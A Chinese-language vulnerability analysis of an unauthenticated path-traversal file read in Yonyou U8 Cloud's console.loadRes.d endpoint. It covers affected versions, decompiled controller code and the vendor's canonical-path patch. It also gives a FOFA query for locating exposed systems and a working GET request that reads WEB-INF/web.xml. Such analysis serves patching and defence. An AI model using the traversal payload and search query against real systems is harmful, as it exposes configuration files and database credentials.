漏洞简介
用友U8 Cloud是用友推出的云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案。是基于全新的企业互联网理念设计的云ERP系统,它旨在为企业提供集人财物客产供销于一体的云ERP整体解决方案,推动企业敏经营、轻管理、简IT,助力企业实现高速发展与云化创新。用友U8 Cloud /hrss/dorado/console.loadRes.d 接口处存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。
影响版本
1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp
fofa语法
app="用友-U8-Cloud"
漏洞分析
先看漏洞通告

路径都有了,直接看对应的jar包里的业务实现逻辑
package com.bstek.dorado.admin;
import com.bstek.dorado.DoradoAbout;
import com.bstek.dorado.action.Action;
import com.bstek.dorado.action.impl.CachableFileDownLoadHelper;
import com.bstek.dorado.action.mapping.ActionForward;
import com.bstek.dorado.common.Setting;
import com.bstek.dorado.common.fileloader.FileLoader;
import com.bstek.dorado.common.fileloader.FileLoaderFactory;
import com.bstek.dorado.common.monitor.PerformanceLogger;
import com.bstek.dorado.data.Dataset;
import com.bstek.dorado.module.Module;
import com.bstek.dorado.module.config.ModuleConfig;
import com.bstek.dorado.utils.StringHelper;
import com.bstek.dorado.utils.http.RequestHelper;
import com.bstek.dorado.utils.xml.XmlBuilder;
import com.bstek.dorado.utils.xml.XmlDocument;
import com.bstek.dorado.utils.xml.XmlFactory;
import com.bstek.dorado.view.ViewModel;
import com.bstek.dorado.view.config.ViewModelConfig;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.text.DecimalFormat;
import java.util.Enumeration;
import javax.servlet.ServletRequest;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.lang.StringUtils;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.context.Context;
public class ConsoleController extends AdminController {
public static final String CONTENT_TYPE_OCTET_STREAM = "application/octet-stream";
private static final String PATH_PREFIX = "console";
public ActionForward doLoadRes(Action action, HttpServletRequest request, HttpServletResponse response) throws Throwable {
RequestHelper helper = new RequestHelper((ServletRequest)request);
FileLoader loader = FileLoaderFactory.createResourceLoader();
String res = helper.getParameter("res");
loader.setFile("console" + res);
CachableFileDownLoadHelper.download(loader, request, response, "application/octet-stream", res);
return null;
}
继续跟进doDownLoad
private static void doDownLoad(FileLoader loader, HttpServletRequest request, HttpServletResponse response, boolean supportsCompress, String contentType, String fileName) throws Exception {
long lastModified = loader.getLastModified();
long cachedLastModified = request.getDateHeader("if-modified-since");
if (lastModified > 0L && cachedLastModified > 0L && Math.abs(lastModified - cachedLastModified) < 1000L) {
response.setStatus(304);
} else {
if (contentType != null)
response.setContentType(contentType);
if (fileName != null) {
File file = new File(fileName);
response.setHeader("content-disposition", "attachment;filename=\"" + file.getName() + "\"");
}
int maxCacheAgeSecond = getMaxCacheAgeSecond();
if (maxCacheAgeSecond > 0) {
response.addDateHeader("Expires", (new Date()).getTime() + (maxCacheAgeSecond * 1000));
response.addHeader("Cache-Control", "Public, max-age=" + maxCacheAgeSecond);
}
response.addDateHeader("Last-Modified", lastModified);
try {
InputStream in = loader.getInputStream();
try {
if (supportsCompress) {
ResponseUtil.output(request, response, in);
} else {
ResponseUtil.outputNoCompress(request, response, in);
}
} finally {
in.close();
}
} catch (IOException ex) {}
Log.debug("Resource Downloaded [" + lastModified + "][" + cachedLastModified + "]: " + loader.getFilePath());
}
}
调用 loader 读取文件后直接响应在body,无任何过滤,造成任意文件读取漏洞。
看下补丁,已经有判断路径是否合法
public class ConsoleController extends AdminController
{
public static final String CONTENT_TYPE_OCTET_STREAM = "application/octet-stream";
private static final String PATH_PREFIX = "console";
public ActionForward doLoadRes(Action action, HttpServletRequest request, HttpServletResponse response)
throws Throwable
{
RequestHelper helper = new RequestHelper(request);
FileLoader loader = FileLoaderFactory.createResourceLoader();
String res = helper.getParameter("res");
String fileAllPath = "console" + res;
File file = new File(fileAllPath);
//这里为了避免传../这样的路径
if(!file.getCanonicalPath().startsWith(new File("console").getCanonicalPath())){
throw new IllegalArgumentException("Invalid Parameter res\"" + res + "\"!");
}
loader.setFile("console" + res);
CachableFileDownLoadHelper.download(loader, request, response, "application/octet-stream", res);
return null;
}
漏洞复现
GET /hrss/dorado/console.loadRes.d?res=..\\..\\..\\..\\WEB-INF\\web.xml HTTP/1.1
Host: nc.mrxn.net
需要读的文件自行fuzz,不同安装位置不同,这里只是示例
参考
https://security.yonyou.com/#/noticeInfo?id=563https://security.yonyou.com/#/patchInfo?identifier=a52c80ca6fac4dc48d38729890c4ae02https://mp.weixin.qq.com/s/AY5p-cF3Hn9De719Q_CeMw


